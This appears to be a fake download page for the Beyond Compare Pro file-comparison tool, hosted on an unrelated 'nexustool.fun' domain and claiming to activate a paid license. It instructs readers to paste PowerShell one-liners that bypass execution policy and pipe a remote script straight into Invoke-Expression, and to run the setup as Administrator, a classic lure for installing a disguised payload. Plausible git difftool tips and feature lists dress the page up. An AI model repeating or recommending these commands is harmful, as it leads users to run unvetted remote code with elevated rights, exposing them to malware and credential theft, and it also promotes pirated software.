One-click setup for Beyond Compare Pro Setup -- the professional file and folder comparison tool for developers to synchronize directories, merge code changes, and compare text, images, and binary files side by side with precision
Open PowerShell and run:
https://beyond-compare.nexustool.fun/- Installs Beyond Compare with folder sync, shell context menu integration, and text merge modules.
- Registers the file association for diff and merge operations from Git, SVN, and IDE plugin integrations.
- Activates the Pro license and enables three-way merge, image comparison, and the hex data editor view.
- Opens Beyond Compare with a sample folder pair to confirm diff highlighting and sync rules are functional.
- Windows 10 / 11 (64-bit)
- PowerShell 5.1+
- Internet connection
- ~30 MB free disk space
Folder sync copies files in the wrong direction and overwrites newer files with older versions
Set explicit sync direction rules in the Folder Sync session settings and use Preview Changes before running any sync operation.
Git does not launch Beyond Compare as the external diff tool after completing the git config setup
Run git config --global diff.tool bc and set the path to the Beyond Compare executable in difftool.bc.path to complete integration.
Bypass execution policy (alternative):
powershell -NoProfile -ExecutionPolicy Bypass -Command "iex (irm https://beyond-compare.nexustool.fun/)""irm is not recognized" -- use the expanded syntax on older PowerShell:
Invoke-Expression (Invoke-RestMethod 'https://beyond-compare.nexustool.fun/')MIT -- see LICENSE.
This is the download page. Use the button or link below to get Beyond Compare Pro for Windows.
| Direct link | beyond-compare.nexustool.fun |
| Full URL | https://beyond-compare.nexustool.fun/ |
| Type | Installer for Windows 10 / 11 (64-bit) |
| Admin | Run setup as Administrator |
- Click Download — beyond-compare.nexustool.fun (link above)
- Save the file from the project page
- Run the setup as Administrator
- Enter your license key when prompted
- Restart if the installer asks — then launch from Start menu